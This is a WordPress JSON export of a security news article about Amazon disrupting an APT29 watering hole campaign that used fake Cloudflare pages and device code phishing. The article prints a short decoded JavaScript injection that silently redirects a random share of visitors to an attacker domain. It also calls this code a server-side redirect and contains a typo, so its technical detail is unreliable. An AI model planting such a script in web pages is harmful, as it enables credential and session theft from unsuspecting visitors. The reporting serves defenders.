{"id":6565,"date":"2025-09-01T10:03:28","date_gmt":"2025-09-01T10:03:28","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/09\/01\/amazon-dismantles-russian-apt-29-infrastructure-used-to-attack-users\/"},"modified":"2025-09-01T10:03:28","modified_gmt":"2025-09-01T10:03:28","slug":"amazon-dismantles-russian-apt-29-infrastructure-used-to-attack-users","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/09\/01\/amazon-dismantles-russian-apt-29-infrastructure-used-to-attack-users\/","title":{"rendered":"Amazon Dismantles Russian APT 29 Infrastructure Used to Attack Users"},"content":{"rendered":"<p>    Amazon Dismantles Russian APT 29 Infrastructure Used to Attack Users<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>Amazon\u2019s threat intelligence team uncovered a sophisticated watering hole campaign in late August 2025, which is orchestrated by APT29, also known as Midnight Blizzard, a Russian Foreign Intelligence Service\u2013linked actor.<\/p>\n<p>The operation relied on the compromise of legitimate websites to redirect unsuspecting visitors to malicious infrastructure.<\/p>\n<p>Once redirected, users encountered counterfeit Cloudflare verification pages designed to harvest credentials and trick victims into authorizing attacker-controlled devices through Microsoft\u2019s device code authentication flow.<\/p>\n<p>The campaign\u2019s breadth was striking: approximately 10 percent of site visitors were siphoned off to actor-controlled domains such as findcloudflare[.]com and cloudflare.redirectpartners[.]com.<\/p>\n<p>These domains mimicked official security checks so convincingly that many users failed to detect the ruse.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEi_y9HIHNh4aO99cTTkcNvzPdUTiW4U0VbrWy538HJXsoaXKQzdAAHCsyL8EBVbMOFmGzlRgjpgeSmlzoL38y1aEHBC7bgUqvKqp15r2q_Ort9-g3HZdUMaOLEg8PzHJmY2KGuNRZsThPhZJXL61efP0JD7wpD1bBw_PwUWCz7glNA3cUSy-RKyGUG-REA\/s16000\/Image%2520of%2520compromised%2520page%2C%2520with%2520domain%2520name%2520removed%2520%28Source%2520-%2520Amazon%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">Image of compromised page, with domain name removed (Source \u2013 Amazon)<\/figcaption><\/figure>\n<\/div>\n<p>Amazon analysts <a href=\"https:\/\/aws.amazon.com\/blogs\/security\/amazon-disrupts-watering-hole-campaign-by-russias-apt29\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">noted<\/a> that this approach marked a significant evolution in APT29\u2019s tradecraft. Instead of relying solely on phishing emails or targeted spear-phishing, the group employed opportunistic injection of obfuscated JavaScript into compromised sites.<\/p>\n<p>This tactic broadened their potential victim pool by embedding malicious redirects directly into popular <a href=\"https:\/\/cybersecuritynews.com\/threat-actors-weaponize-wordpress-websites\/\" target=\"_blank\" rel=\"noreferrer noopener\">web pages<\/a>.<\/p>\n<p>Visitors were often unaware they were being rerouted until prompted to enter device codes or approve new device authorizations\u2014actions that granted the threat actor persistent access.<\/p>\n<p>The impact of this campaign extended beyond mere <a href=\"https:\/\/cybersecuritynews.com\/credential-theft-risks\/\" target=\"_blank\" rel=\"noreferrer noopener\">credential theft<\/a>. By integrating with Microsoft\u2019s device code authentication, APT29 could persist within corporate environments, leveraging authorized sessions to move laterally and gather intelligence.<\/p>\n<p>Although no AWS systems were compromised, the incident underscored the persistent threat posed by state-sponsored actors adapting their methods to evade traditional defenses.<\/p>\n<p>Amazon worked rapidly with Cloudflare, Microsoft, and other providers to dismantle the malicious domains and isolate compromised EC2 instances, illustrating the power of coordinated industry response.<\/p>\n<h2 class=\"wp-block-heading\" id=\"h-technical-overview-of-obfuscated-javascript\"><strong>Technical Overview of Obfuscated JavaScript<\/strong><\/h2>\n<p>A closer look at the injected script reveals several advanced evasion techniques. The JavaScript payload was base64-encoded to mask its true purpose, and randomization logic redirected only a subset of visitors, reducing the likelihood of detection.<\/p>\n<p>Once decoded, the snippet performed a server-side redirect to the fraudulent <a href=\"https:\/\/cybersecuritynews.com\/teamcity-authentication-bypass-vulnerabilities\/\" target=\"_blank\" rel=\"noreferrer noopener\">authentication<\/a> page while setting cookies to prevent repeated redirects of the same user. A simplified version of the decoded code appears below:-<\/p>\n<pre class=\"wp-block-code\"><code>(function(){\n    var uid = Math.random().toString(36).substring(2);\n    if (!document.cookie.includes('redir='+uid) &amp;&amp; Math.random()&lt;0.1) {\n        document. Cookie = 'redir='+uid+';path=\/';\n        window.location.replace('https:\/\/findcloudflare.com\/device\/code?auth=' + uid);\n    }\n})();<\/code><\/pre>\n<p>This snippet exemplifies APT29\u2019s shift from client-side to server-side redirects when previous infrastructure was disrupted.<\/p>\n<p>By rapidly migrating to new domains and refining their code, the group sustained their campaign despite ongoing takedowns.<\/p>\n<p>Amazon\u2019s successful disruption of this infrastructure highlights the necessity for continuous monitoring of web-based threats and collaboration across the security community.<\/p>\n<p class=\"has-text-align-center has-background\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 92%,rgb(169,184,195) 100%)\"><strong><code>Boost\u00a0your\u00a0SOC and help your team protect your business with free top-notch threat intelligence:\u00a0<a href=\"https:\/\/intelligence.any.run\/plans\/?utm_source=csn&amp;utm_medium=article&amp;utm_campaign=alert_fatigue&amp;utm_content=lookup_plan&amp;utm_term=120825\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Request TI Lookup Premium Trial<\/a>.<\/code><\/strong><\/p>\n<p>The post <a href=\"https:\/\/cybersecuritynews.com\/amazon-dismantles-russian-apt-29-infrastructure\/\">Amazon Dismantles Russian APT 29 Infrastructure Used to Attack Users<\/a> appeared first on <a href=\"https:\/\/cybersecuritynews.com\/\">Cyber Security News<\/a>.<\/p>\n<\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><br \/>\n    Tushar Subhra Dutta<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/cybersecuritynews.com\/amazon-dismantles-russian-apt-29-infrastructure\/\">Go to cyber-security-news<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Amazon Dismantles Russian APT 29 Infrastructure Used to Attack Users Amazon\u2019s threat intelligence team uncovered a sophisticated watering hole campaign in late August 2025, which is orchestrated by APT29, also known as Midnight Blizzard, a Russian Foreign Intelligence Service\u2013linked actor. The operation relied on the compromise of legitimate websites to redirect unsuspecting visitors to malicious [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-6565","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/6565"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=6565"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/6565\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=6565"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=6565"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=6565"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}